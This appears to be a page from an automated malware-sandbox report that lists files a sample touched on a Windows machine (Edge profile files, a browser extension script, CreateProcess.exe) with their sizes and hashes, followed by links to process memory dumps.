Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 f87a5a17c0cf5775ee629ee1a86294f42e2e55acb27191cd269f524410cdfa7b
MD5 c0996efacc71d3162d8a4f6a6802a8dc
SHA1 a9c4175c573a6831d544b2e1270b98dea6047c20
SHA512 f4c3684d66aa2a910f202609379bca360483871b607cc0c4ec0ded99dc579feec42fe8cd14ca807503b7b1f24873fb2c4b9702135b8fe6f98b2c19b887ca9e50
SSDEEP 768:vj+9c3tkoDZIO0CEl8sH/Nzc4ReyIsPAb9MB:C9c3liH/tc44bsYb+B
TLSH
T1BEF2B035FC258D63ACE69756B50B3692BEF0127F81C81E88E6ED6F0C0A8769C075B412
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 60506fbccd7510451c6dc9cb1ff56bf2759c836f8e281162fdf7b127cd296897
MD5 9fce8e746108dc48dfe0d1c56cdbe541
SHA1 dc4fd80fdadf54951fdca0fab0f5e8d5f8c75aa8
SHA512 87bfe505beb556cc7dacf5c0af834f98071cd4be1b71d8102aff7573a3209fa5f9901dda621f4ca9e61373d943d0114982ef70b6cd52f64fcc84e7630011755f
SSDEEP 768:Uj+9c3IkoDZIO0CEl8sHdNzc4ReyIsPAb9MB:D9c3qiHdtc44bsYb+B
TLSH
T126F2B035FC258D639CE69756B5073692BEF0527F81C82E88E6ED6F0C0A876DC075B412
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 273248587185f634984ae1cdb862687974b7ba23b2b2756f9aa8558cc349cae8
MD5 d544cdb85e681acdb35fa26d91decd36
SHA1 77a19410dc0982d167a3f44e4b5e6c1d03f776c3
SHA512 e139a5bdfc35be6eec49f0946d9499f010e0c86dc7dc6b2ccad675fd5d3f7a9b9bac37fbcd7b0a43e43c7deaa292e9b2a1da63c32f774b195ac96c357b9af161
SSDEEP 768:lF1j+973RwgAkxZU5O0CEl8sHHNzc4ReyIsPAb9MB:s973FiHHtc44bsYb+B
TLSH
T1E81307F698D38976E8AE4783A73D2D42ADFCD167B5881984B7D95E0CCD861BFC306801
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

22956e48-7e39-4ef2-8335-d16b0920d0bc.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\22956e48-7e39-4ef2-8335-d16b0920d0bc.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3988_486492107\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 18b957a8fdf7fe082614cdd3a8a94920581c44cbeebe550bfc6c637979c507a3
MD5 fdc0c94eedd0928ff3887bc629562d91
SHA1 88b9a223686ec17445685695d6b8a4fa43eb407e
SHA512 369c0014506f7e342e8908c2ae701f17616dfffc93b0fae95c175bc5b095d68b9a3a99ec17476b8361b9d8e62bb16d90b7dbb9de14540f3460598007c2ccdd21
TLSH
T10B71009357B8D9B2C2DE5BF002835248F5BB22784B2370240B91554AAB30A7A64B9F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1004-324-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1004-306-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1004-317-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1720-66-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2152-460-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2204-477-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2468-434-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2588-315-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2976-399-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2984-359-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3176-346-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3316-403-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3544-266-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3800-278-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4184-473-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4596-238-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4804-379-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4864-423-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5624-191-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5724-455-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5724-470-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5892-320-0x0000000000010000-0x00000000000AB000-memory.dmp

Download